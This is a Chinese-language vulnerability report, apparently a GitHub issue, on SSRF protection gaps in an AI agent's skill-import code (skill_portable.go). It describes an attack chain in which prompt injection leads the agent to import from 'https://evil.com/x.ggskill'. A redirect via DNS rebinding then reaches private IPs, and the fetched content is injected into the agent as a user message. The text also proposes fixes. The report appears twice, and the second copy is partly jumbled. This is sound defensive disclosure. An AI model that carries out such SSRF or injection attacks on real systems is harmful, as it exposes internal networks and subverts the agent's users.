文件和行号
internal/tool/skill_portable.go:240-291(openSkillSource)
问题描述
注释(251-253 行)声称三层 SSRF 守卫:字面私网主机封堵、DNS 解析私网封堵(rebinding)、重定向复检。但实现存在两个缺口:
- CheckRedirect(272-280 行)只对重定向目标 hostname 做字面 isPrivateHost 检查(web_fetch.go:263,仅匹配 localhost/.internal 等字面名与 ParseIP 可解的 IP 字符串),不对重定向目标重新做 DNS 解析+私网 IP 检查。
- 首次请求的 LookupIPAddr 检查(263-269 行)fail-open(
if lerr == nil 才检查,DNS 查询失败静默放行),且与 client.Get 的第二次独立解析之间存在经典 rebinding TOCTOU 窗口。
触发场景
agent 被 prompt injection 诱导执行 skill "#import https://evil.com/x.ggskill"(#1703 已承认此通道):
- evil.com 解析公网 IP 通过首查 → 302 重定向到 rebind.evil.com(A 记录指向 127.0.0.5/10.0.0.5)→ CheckRedirect 字面检查放行 → client 实际拨号私网地址。
- 简化变体:首查 SERVFAIL 静默跳过,client.Get 二次解析直接返回私网 IP。
- 返回体若为合法 tar.gz,SKILL.md 内容还会注入为 user message(SSRF + 远程提示注入二合一)。
预期行为 vs 实际行为
预期:重定向目标经 DNS 复检拒绝私网地址;DNS 查询失败时拒绝。实际:仅字面检查,可经域名指向私网 IP 绕过。
修复建议
复用同包 web_fetch.go 的既有模式:自定义 DialContext(resolvePublicDialAddress)消除双解析 TOCTOU;CheckRedirect 中调用 rejectIfHostResolvesPrivate;263 行 lerr != nil 改为拒绝或至少 debug.Log。
严重程度
medium(独立复核确认:同包已有正确实现模板,属遗漏而非取舍;bypass/autopilot 模式下可全自动触发)
文件和行号
internal/tool/skill_portable.go:240-291(openSkillSource)
问题描述
注释(251-253 行)声称三层 SSRF 守卫:字面私网主机封堵、DNS 解析私网封堵(rebinding)、重定向复检。但实现存在两个缺口:
if lerr == nil才检查,DNS 查询失败静默放行),且与 client.Get 的第二次独立解析之间存在经典 rebinding TOCTOU 窗口。触发场景
agent 被 prompt injection 诱导执行
skill "#import https://evil.com/x.ggskill"(#1703 已承认此通道):预期行为 vs 实际行为
预期:重定向目标经 DNS 复检拒绝私网地址;DNS 查询失败时拒绝。实际:仅字面检查,可经域名指向私网 IP 绕过。
修复建议
复用同包 web_fetch.go 的既有模式:自定义 DialContext(resolvePublicDialAddress)消除双解析 TOCTOU;CheckRedirect 中调用 rejectIfHostResolvesPrivate;263 行 lerr != nil 改为拒绝或至少 debug.Log。
严重程度
medium(独立复核确认:同包已有正确实现模板,属遗漏而非取舍;bypass/autopilot 模式下可全自动触发)